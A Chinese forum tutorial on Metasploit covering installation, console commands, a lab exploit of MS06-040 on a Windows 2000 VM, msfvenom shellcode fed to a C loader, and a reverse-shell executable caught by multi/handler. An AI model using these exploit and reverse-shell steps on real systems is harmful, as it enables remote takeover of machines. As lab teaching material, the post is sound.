MetaSploit 开发 Exploit 教程

打印 上一主题 下一主题

主题 918|帖子 918|积分 2754

MetaSploit 开发 Exploit

1. 安装MetaSploit

1.1 下载

​        metasploit-framework 官网下载:Directory Tree (metasploit.com)
​        下载最新安装包即可:如下图

1.2 安装

​        双击下载的metasploitframework-latest.msi,一直点 next,最后选择安装目录即可
1.3 环境变量


  • 我的电脑 -- 属性 --高级系统设置 -- 属性 -- 环境变量
  • 选择“Path",再点击“编辑”按钮
  • 点击”新建“按钮,把此软件的安装目录”D:\metasploit-framework\bin“放进去,再点击”确定“ 即按钮可
  • 再继续在电脑“开始”菜单,“运行”中输入命令“cmd”,再输入命令“msfconsole”即可正常运行

2. MSF体系结构

2.1 总体结构图


2.2 Metasploit文件介绍


  • data:Metasploit使用的可编辑文件
  • documentation:为框架提供文档
  • external:源代码和第三方库
  • lib:框架代码库的'肉'
  • modules:实际的MSF模块
  • plugins:可以在运行时加载的插件
  • scripts:Meterpreter和其他脚本
  • tools:各种有用的命令行工具

2.3 Metasploit库

​        所在地址:D:\metasploit-framework\embedded\framework\lib

2.3.1 Rex


  • 大多数任务的基本库
  • 处理套接字,协议,文本转换和其他
  • SSL,SMB,HTTP,XOR,Base64,Unicode

2.3.2 Msf

1. Core


  • 提供'基本'API
  • 定义Metasploit框架

2. Base


  • 提供'友好'API
  • 提供在框架中使用的简化API

2.4 Metasploit 模块

​        所在位置:D:\metasploit-framework\embedded\framework\modules

模块类型说明exploit包涵已公布漏洞的触发信息,如返回地址偏移量等auxiliaryMSF额外的插件程序,如网络欺骗工具、DOS工具、Sniffer 工具等payload就是我们所说的 shellcode。目前包含了可运行于多种操作系统下的各种用途的 shellcodeencoder编码算法nop“准 nop”填充数据生成器。所谓的“准 nop”是指不影响 shellcode 执行的指令。除了最经典的 0x90(nop)之外,如果 EBX 的值不影响 shellcode 执行,那么 0x43(inc ebx)就是 “准 nop”填充数据。
MSF  提供了若干种不同语言版本、不同操作系统 下的“准 nop”填充数据生成器,用于组织缓冲区3. Metasploit 基础命令

3.1 启动Metasploit

​        msfconsole
帮助文档如下:
  1. 用法:msfconsole [选项]
  2. 通用选项
  3. -E, --environment ENVIRONMENT     如果已设置,将使用RAIL_ENV环境变量。如果两个选项都不是RAILS_ENV环境变量,则默认为生产。
  4. 数据库选项
  5. -M,--migration-path DIRECTORY     指定包含其他数据库迁移的目录
  6. -n,--no-database     禁用数据库支持
  7. -y,--yaml PATH     指定一个包含数据库设置的YAML文件
  8. 框架选项
  9. -c FILE     加载指定的配置文件
  10. -v,--version     显示版本
  11. 模块选项
  12. --defer-module-loads     延迟模块加载,除非明确询问。
  13. -m,--module-path DIRECTORY     附加模块路径
  14. 控制台选项:
  15. -a,--ask     在退出Metasploit之前询问或接受“exit-y”
  16. -H,--history-file FILE     将命令历史保存到指定的文件
  17. -L,--real-readline     使用系统Readline库而不是RbReadline
  18. -o,--output     将文件输出到指定的文件
  19. -p,--plugin PLUGIN     在启动时加载插件
  20. -q,--quiet     不要在启动时打印横幅
  21. -r,--resource FILE     执行指定的资源文件( - 用于stdin)
  22. -x,--execute-command COMMAND     执行指定的字符串作为控制台命令(使用;用于multiples)
  23. -h,--help     显示此消息
复制代码

3.2 如何使用MSF

命令详解参考文档Metasploit框架 MSFconsole命令 详解 - 付杰博客 (fujieace.com)
​        在msf命令提示符下输入help将显示可用命令的列表以及它们用于的内容的描述
如下为命令的中文帮助文档:
  1. msf > help
  2. 核心命令
  3. =============
  4. ?   帮助菜单
  5. banner   显示一个很棒的metasploit横幅
  6. cd   更改当前的工作目
  7. color   切换颜色。如果通过msfconsole获得的输出将包含颜色,则可以启用或禁用颜色输出:color false
  8. connect   连接与主机通信。msfconsole内置了一个微型Netcat克隆,它支持SSL,代理服务器,枢纽和文件传输。
  9.                   通过使用IP地址和端口号发出connect命令,您可以像使用Netcat或Telnet一样,从msfconsole连接到远程主机:connect 192.168.1.1 23
  10. exit   退出控制台
  11. get   获取特定于上下文的变量的值
  12. getg   获取全局变量的值
  13. grep grep另一个命令的输出
  14. help   帮助菜单
  15. history   显示命令历史
  16. irb   进入irb脚本模式
  17. load   加载一个框架插件
  18. quit   退出控制台
  19. route   通过会话路由流量
  20. save   保存活动的数据存储
  21. sessions    转储会话列表并显示有关会话的信息
  22. set   将特定于上下文的变量设置为一个值
  23. setg   将全局变量设置为一个值
  24. sleep   在指定的秒数内不做任何事情
  25. spool   将控制台输出写入文件以及屏幕
  26. threads   线程查看和操作后台线程
  27. unload   卸载框架插件
  28. unset   取消设置一个或多个特定于上下文的变量
  29. unsetg   取消设置一个或多个全局变量
  30. version   显示框架和控制台库版本号
  31. 模块命令
  32. ===============
  33. advanced   显示一个或多个模块的高级选项
  34. back   从当前上下文返回。一旦你完成了一个特定的模块的工作,或者你无意中选择了错误的模块,你可以发出back命令移出当前的上下文
  35. edit   使用首选编辑器编辑当前模块
  36. info   显示有关一个或多个模块的信息
  37. loadpath   路径从路径搜索并加载模块
  38. options   显示全局选项或一个或多个模块
  39. popm   将最新的模块从堆栈中弹出并使其处于活动状态
  40. previous   将之前加载的模块设置为当前模块
  41. pushm   将活动或模块列表推入模块堆栈
  42. reload_all   从所有定义的模块路径重新加载所有模块
  43. search   搜索模块名称和描述
  44. show   显示给定类型的模块或所有模块
  45. use   按名称选择模块
  46. 工作命令
  47. ============
  48. handler   作为作业启动负载处理程序
  49. jobs   显示和管理作业
  50. kill   杀死一个工作
  51. rename_job   重命名作业
  52. 资源脚本命令
  53. ========================
  54. makerc   保存从开始到文件输入的命令
  55. resource   运行存储在文件中的命令
  56. 数据库后端命令
  57. =========================
  58. db_connect   连接到现有的数据库
  59. db_disconnect   断开与当前数据库实例的连接
  60. db_export   导出包含数据库内容的文件
  61. db_import   导入扫描结果文件(文件类型将被自动检测)
  62. db_nmap   执行nmap并自动记录输出
  63. db_rebuild_cache   重建数据库存储的模块高速缓存
  64. db_status   显示当前的数据库状态
  65. hosts   列出数据库中的所有主机
  66. loot   列出数据库中的所有战利品
  67. notes   列出数据库中的所有笔记
  68. services   列出数据库中的所有服务
  69. vulns   列出数据库中的所有漏洞
  70. workspace   在数据库工作区之间切换
  71. 凭证后端命令
  72. ============================
  73. creds   列出数据库中的所有凭据
复制代码
实际运行中帮助文档为英文:
  1. msf6 > help
  2. Core Commands
  3. =============
  4.     Command       Description
  5.     -------       -----------
  6.     ?             Help menu
  7.     banner        Display an awesome metasploit banner
  8.     cd            Change the current working directory
  9.     color         Toggle color
  10.     connect       Communicate with a host
  11.     debug         Display information useful for debugging
  12.     exit          Exit the console
  13.     features      Display the list of not yet released features that can be opted in to
  14.     get           Gets the value of a context-specific variable
  15.     getg          Gets the value of a global variable
  16.     grep          Grep the output of another command
  17.     help          Help menu
  18.     history       Show command history
  19.     load          Load a framework plugin
  20.     quit          Exit the console
  21.     repeat        Repeat a list of commands
  22.     route         Route traffic through a session
  23.     save          Saves the active datastores
  24.     sessions      Dump session listings and display information about sessions
  25.     set           Sets a context-specific variable to a value
  26.     setg          Sets a global variable to a value
  27.     sleep         Do nothing for the specified number of seconds
  28.     spool         Write console output into a file as well the screen
  29.     threads       View and manipulate background threads
  30.     tips          Show a list of useful productivity tips
  31.     unload        Unload a framework plugin
  32.     unset         Unsets one or more context-specific variables
  33.     unsetg        Unsets one or more global variables
  34.     version       Show the framework and console library version numbers
  35. Module Commands
  36. ===============
  37.     Command       Description
  38.     -------       -----------
  39.     advanced      Displays advanced options for one or more modules
  40.     back          Move back from the current context
  41.     clearm        Clear the module stack
  42.     favorite      Add module(s) to the list of favorite modules
  43.     info          Displays information about one or more modules
  44.     listm         List the module stack
  45.     loadpath      Searches for and loads modules from a path
  46.     options       Displays global options or for one or more modules
  47.     popm          Pops the latest module off the stack and makes it active
  48.     previous      Sets the previously loaded module as the current module
  49.     pushm         Pushes the active or list of modules onto the module stack
  50.     reload_all    Reloads all modules from all defined module paths
  51.     search        Searches module names and descriptions
  52.     show          Displays modules of a given type, or all modules
  53.     use           Interact with a module by name or search term/index
  54. Job Commands
  55. ============
  56.     Command       Description
  57.     -------       -----------
  58.     handler       Start a payload handler as job
  59.     jobs          Displays and manages jobs
  60.     kill          Kill a job
  61.     rename_job    Rename a job
  62. Resource Script Commands
  63. ========================
  64.     Command       Description
  65.     -------       -----------
  66.     makerc        Save commands entered since start to a file
  67.     resource      Run the commands stored in a file
  68. Database Backend Commands
  69. =========================
  70.     Command           Description
  71.     -------           -----------
  72.     analyze           Analyze database information about a specific address or address range
  73.     db_connect        Connect to an existing data service
  74.     db_disconnect     Disconnect from the current data service
  75.     db_export         Export a file containing the contents of the database
  76.     db_import         Import a scan result file (filetype will be auto-detected)
  77.     db_nmap           Executes nmap and records the output automatically
  78.     db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)
  79.     db_remove         Remove the saved data service entry
  80.     db_save           Save the current data service connection as the default to reconnect on startup
  81.     db_status         Show the current data service status
  82.     hosts             List all hosts in the database
  83.     loot              List all loot in the database
  84.     notes             List all notes in the database
  85.     services          List all services in the database
  86.     vulns             List all vulnerabilities in the database
  87.     workspace         Switch between database workspaces
  88. Credentials Backend Commands
  89. ============================
  90.     Command       Description
  91.     -------       -----------
  92.     creds         List all credentials in the database
  93. Developer Commands
  94. ==================
  95.     Command       Description
  96.     -------       -----------
  97.     edit          Edit the current module or a file with the preferred editor
  98.     irb           Open an interactive Ruby shell in the current context
  99.     log           Display framework.log paged to the end if possible
  100.     pry           Open the Pry debugger on the current module or Framework
  101.     reload_lib    Reload Ruby library files from specified paths
  102.     time          Time how long it takes to run a particular command
  103. msfconsole
  104. ==========
  105. `msfconsole` is the primary interface to Metasploit Framework. There is quite a
  106. lot that needs go here, please be patient and keep an eye on this space!
  107. Building ranges and lists
  108. -------------------------
  109. Many commands and options that take a list of things can use ranges to avoid
  110. having to manually list each desired thing. All ranges are inclusive.
  111. ### Ranges of IDs
  112. Commands that take a list of IDs can use ranges to help. Individual IDs must be
  113. separated by a `,` (no space allowed) and ranges can be expressed with either
  114. `-` or `..`.
  115. ### Ranges of IPs
  116. There are several ways to specify ranges of IP addresses that can be mixed
  117. together. The first way is a list of IPs separated by just a ` ` (ASCII space),
  118. with an optional `,`. The next way is two complete IP addresses in the form of
  119. `BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
  120. specifications may also be used, however the whole address must be given to
  121. Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
  122. Additionally, a netmask can be used in conjunction with a domain name to
  123. dynamically resolve which block to target. All these methods work for both IPv4
  124. and IPv6 addresses. IPv4 addresses can also be specified with special octet
  125. ranges from the [NMAP target
  126. specification](https://nmap.org/book/man-target-specification.html)
  127. ### Examples
  128. Terminate the first sessions:
  129.     sessions -k 1
  130. Stop some extra running jobs:
  131.     jobs -k 2-6,7,8,11..15
  132. Check a set of IP addresses:
  133.     check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
  134. Target a set of IPv6 hosts:
  135.     set RHOSTS fe80::3990:0000/110, ::1-::f0f0
  136. Target a block from a resolved domain name:
  137.     set RHOSTS www.example.test/24
复制代码
3.3 Tab完成(标签完成/选项卡完成)

​        msfconsole被设计为可以快速使用,并且有助于实现此目标的功能之一是制表符完成。
​        有了各种可用的模块,可能很难记住您希望使用的特定模块的确切名称和路径。
​        与大多数其他shell一样,输入你知道的内容并点击'Tab'将会给你一个你可用的选项列表,或者只有一个选项时自动完成字符串。
​        选项卡完成取决于ruby readline扩展,并且控制台中的几乎每个命令都支持选项卡完成。
举例:运行以下命令再敲Tab键,会弹出以下图片列出的选项以供选择,然后再输入,再敲Tab键会自动补齐
  1. msf > use exploit/windows/smb/ms
复制代码

4. Metasploit实际应用

4.1 入侵 Windows 系统(CVE-2006-3439)

4.1.1 漏洞简介

​        Windows系统的动态链接库文件netapi32.dll中第317个导出函数NetpwPathCanon- icalize() 对于字符串参数的处理存在典型的栈溢出。更加不幸的是,这个函数可以通过 RPC 的方式被 远程调用,因此,成功利用这个漏洞可以远程控制目标主机。
4.1.2 实验环境

环境版本备注攻击主机操作系统Windows 10MSF支持的操作系统均可目标主机操作系统Windows 2000 SP0~SP4(此次实验用的SP4)Windows XP SP1 中的漏洞也可以获得远程控制权, 但 SP2 上只能达到 DOS 的效果目标PC虚拟机VMware Workstation版本号:15.5 PRO  注意:虚拟机或实体计算机均可用于攻击测试补丁版本未打过 KB921883 补丁测试平台MSF版本号:6.18网络环境攻击主机与目标主机互相可达确保防火墙等不会影响 TCP 链接的正常建立4.1.3 console界面的漏洞测试

1. 用到的相关命令


  • show exploits :显示 MetaSploit 目前所能够测试的所有漏洞及相关描述。
  • use windows/smb/ms06_040_netapi :选择 MS06-040 进行测试。
  • info :显示当前所选漏洞的描述信息。
  • show targets :显示当前所选漏洞能够影响的操作系统。
  • set target 0 :设置 target 为 0,即自动识别 Windows 2000 和 Windows XP 系统。
  • show payloads :显示可适用于当前所选漏洞的 shellcode。
  • set payload windows/adduser :选用 adduser 为 shellcode。
  • show options :显示当前所选漏洞和 shellcode 需要配置的选项。
  • set RHOST 192.168.88.137  :按照 show options 的提示设置目标主机地址
  • set PASS 123456  :按照 show options 的提示设置账户密码
  • set USER failwest  :按照 show options 的提示设置用户名
  • exploit  :进行攻击测试
2. 实验步骤


  • 通过虚拟机打开 Windows 2000 SP4,通过cmd打开命令提示符,输入 ipconfig 命令查看IP地址:192.168.137.132
    注意:虚拟机需共享本机的网络,即位于NAT模式下,虚拟机才能和本机互联

  • 通过 cmd 打开命令提示符,输入 msfconsole 启动 MSF

  • 输入 search ms06_040 命令或 show exploits 查找 MS06_040 漏洞(本次实验实验前者)

  • 输入 use exploit/windows/smb/ms06_040_netapi 命令设置使用的漏洞

  • 输入 show payloads 命令查找符合要求的 payload,这里使用序号为2的

  • 输入 set payload payload/generic/shell_bind_tcp 命令设置 payload 的路径

  • 输入 set RHOSTS 192.168.137.132 命令设置目标主机


  • 输入 run 或者 exploit 运行,此时可以控制目标主机的命令行提示符

  • 在目标主机的命令行提示符中输入 ipconfig 命令,即可得到目标主机的 IP 地址

  • 在目标主机的命令行提示符中输入 dir 命令,即可显示目标主机的文件目录情况

4.2 利用 MSF 制作 shellcode

4.2.1 Msfvenom

1. 简介

​        MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中,用于生成 shellcode
2. 参数介绍
  1. -l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
  2. -p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
  3. -f, --format < format> 指定输出格式
  4. -e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
  5. -a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
  6. -o, --out < path> 指定创建好的payload的存放位置
  7. -b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
  8. -n, --nopsled < length> 为payload预先指定一个NOP滑动长度
  9. -s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
  10. -i, --iterations < count> 指定payload的编码次数
  11. -c, --add-code < path> 指定一个附加的win32 shellcode文件
  12. -x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
  13. -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
  14. -v, --var-name < value> 指定一个自定义的变量,以确定输出格式
  15. -t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
  16. -h,--help 查看帮助选项
  17. --platform < platform> 指定payload的目标平台
复制代码
4.2.2 生成普通的 shellcode

实验环境

环境版本备注攻击主机操作系统Windows 10MSF支持的操作系统均可测试主机操作系统Windows XP SP3可以运行 MessageBox shellcode的操作系统均可以(实际上Windows 10也能完成测试)目标PC虚拟机VMware Workstation版本号:15.5 PRO  注意:虚拟机或实体计算机均可用于攻击测试测试平台MSF版本号:6.18shellcode loader程序
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <tchar.h>
  4. using namespace std;
  5. typedef void(*LPFN_FUNC_1)();
  6. VOID  Sub_1();
  7. VOID  Sub_2();
  8. void main()
  9. {
  10.         //Sub_1();
  11.         Sub_2();
  12. }
  13. VOID Sub_1()
  14. {
  15.         char ShellCode[40] = { 0 };
  16.         ShellCode[0] = 0x8B;
  17.         ShellCode[1] = 0xFF;               
  18.         ShellCode[2] = 0x55;
  19.         ShellCode[3] = 0x8B;
  20.         ShellCode[4] = 0xEC;
  21.         ShellCode[5] = 0xFF;               
  22.         ShellCode[6] = 0x75;
  23.         ShellCode[7] = 0x14;
  24.         ShellCode[8] = 0xFF;               
  25.         ShellCode[9] = 0x75;
  26.         ShellCode[10] = 0x10;
  27.         ShellCode[11] = 0xFF;
  28.         ShellCode[12] = 0x75;               
  29.         ShellCode[13] = 0x0C;
  30.         ShellCode[14] = 0xFF;
  31.         ShellCode[15] = 0x75;               
  32.         ShellCode[16] = 0x08;
  33.         ShellCode[17] = 0x58;
  34.         ShellCode[18] = 0xBB;
  35.         ShellCode[19] = 0x49;       
  36.         ShellCode[20] = 0x89;
  37.         ShellCode[21] = 0xd8;
  38.         ShellCode[22] = 0x48;               
  39.         ShellCode[23] = 0x31;
  40.         ShellCode[24] = 0xd2;
  41.         ShellCode[25] = 0x48;                                       
  42.         ShellCode[26] = 0x31;
  43.         ShellCode[27] = 0xd1;
  44.         ShellCode[28] = 0x48;                               
  45.         ShellCode[29] = 0x8b;
  46.         ShellCode[30] = 0x58;
  47.         ShellCode[31] = 0xCC;
  48.         ShellCode[32] = 0xff;                                       
  49.         ShellCode[33] = 0xd3;
  50.         ShellCode[34] = 0x48;                                       
  51.         ShellCode[35] = 0x83;
  52.         ShellCode[36] = 0xc4;
  53.         ShellCode[37] = 0x20;
  54.         ShellCode[38] = 0x5b;                               
  55.         ShellCode[39] = 0xc3;               
  56.         VOID* VirtualAddress = (VOID*)VirtualAlloc(NULL, sizeof(ShellCode),
  57.                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  58.         if (VirtualAddress==NULL)
  59.         {
  60.                 return;
  61.         }
  62.         memcpy(VirtualAddress, ShellCode, sizeof(ShellCode));
  63.         ((LPFN_FUNC_1)VirtualAddress)();
  64.         VirtualFree(VirtualAddress, sizeof(ShellCode), MEM_RELEASE);
  65.         VirtualAddress = NULL;
  66. }
  67. VOID Sub_2()
  68. {
  69.         //Stack   
  70.         unsigned char buf[] =
  71.                 "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
  72.                 "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
  73.                 "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
  74.                 "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
  75.                 "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
  76.                 "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
  77.                 "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
  78.                 "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  79.                 "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
  80.                 "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
  81.                 "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
  82.                 "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
  83.                 "\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
  84.                 "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
  85.                 "\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
  86.                 "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89"
  87.                 "\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f"
  88.                 "\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9"
  89.                 "\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0"
  90.                 "\x31\xc0\x50\xff\x55\x08";
  91.         VOID* VirtualAddress = (VOID*)VirtualAlloc(NULL, sizeof(buf),
  92.                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  93.         if (VirtualAddress == NULL)
  94.         {
  95.                 return;
  96.         }
  97.         memcpy(VirtualAddress, buf, sizeof(buf));
  98.         ((LPFN_FUNC_1)VirtualAddress)();
  99.         VirtualFree(VirtualAddress, sizeof(buf), MEM_RELEASE);
  100.         VirtualAddress = NULL;
  101. }
复制代码
实验步骤

1)生成 shellcode 放入 shellcode loader 中测试

  • 输入 msfconsole 启动 MSF

  • 输入 show payloads 显示所有的payloads

  • 找到需要的 payload

  • 打开一个命令行提示符,输入 msfvenom -p windows/messagebox --list-options 可以查看该 payload 所支持的参数

  • 输入 msfvenom -a x86 --platform windows -p windows/messagebox -f C 命令,即可生成 c 语言版的shellcode

  • 将生成的 shellcode 放入 shellcode loader 程序中,编译运行,最后即可弹出 messagebox

    在 windows10中也测试成功:

  • 输入 msfvenom -a x86 --platform windows -p windows/messagebox TEXT="hello, wzy" -f C 命令将 messagebox 弹窗消息换为 “hello, wzy”

  • 将生成的 shellcode 放入 shellcode loader 中测试,测试成功
    Windows 10也测试成功:

2)生成可直接运行的程序

  • 输入 msfvenom -a x86 --platform windows -p windows/messagebox -f exe > test.exe 命令,即可生成一个可弹出 messagebox 的exe程序

  • 将该程序拖入 Windows XP SP3 中,点击运行,运行成功

  • 输入 msfvenom -a x86 --platform windows -p windows/messagebox TEXT="hello, wzy" -f exe > wzy.exe 命令

  • 测试成功

4.2.3 利用 shellcode 控制靶机

实验环境

环境版本备注攻击主机操作系统Windows 10MSF支持的操作系统均可目标主机操作系统Windows XP SP3简体中文版目标PC虚拟机VMware Workstation版本号:15.5 PRO  注意:虚拟机或实体计算机均可用于攻击测试测试平台MSF版本号:6.18实验步骤


  • 输入 msfconsole 启动 MSF

  • 输入 show payloads 显示所有的payloads

  • 找到需要的 payload

  • 打开一个命令行提示符,输入 msfvenom -p windows/shell_reverse_tcp --list-options 可以查看该 payload 所支持的参数

  • 在靶机中打开命令行提示符,输入 ipconfig 命令,查看靶机的 IP 地址

  • 在本机中打开命令行提示符,输入 ipconfig 查看本机的IP地址

  • 在本机的命令行提示符中输入 msfvenom -p windows/shell_reverse_tcp LHOST=10.18.223.52 LPROT=4444 -b '\x00\x0a\x40' -f exe > tcp.exe 命令生成可执行程序

  • 将该可执行程序拖入靶机中
  • 在本机中打开命令行提示符,在msfconsole中输入如下命令:
    use exploit/multi/handler
    set payload windows/shell_reverse_tcp
    set LHOST 192.168.137.131
    set LPORT 4444
    exploit

  • 在靶机中点击拖入的可执行程序

  • 此时本机程序显示如下信息:此时已成功控制靶机的命令行

  • 输入 cd c:\ 可进入靶机的 C 盘,输入 dir 命令可查看靶机的目录,输入 ipconfig 可查看靶机的 IP 地址

4.3 用 MSF 扫描“跳板”

4.3.1 msfpescan

​        msfpescan 是这样一款在 PE 文件中扫描跳转指令并直接转化为 VA 的工具,它使用起来更加简单灵活

​        输入 msfpescan -h 即可查看帮助信息:

4.3.2 使用 msfpescan 扫描PE文件中的跳板指令


  • 输入 msfconsole 启动MSF

  • 输入 msfpescan -f -j ecx c:/windows/system32/kernel32.dll 可查看本机中 PE 文件 kernel32.dll 中类似 jump ecx 的指令地址,并转化为 VA 显示

参考

文档
​        Metasploit 教程(渗透测试框架) - 付杰博客 (fujieace.com)
​        (75条消息) Msfvenom介绍及利用_xzhome的博客-CSDN博客_msfvenom

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

自由的羽毛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表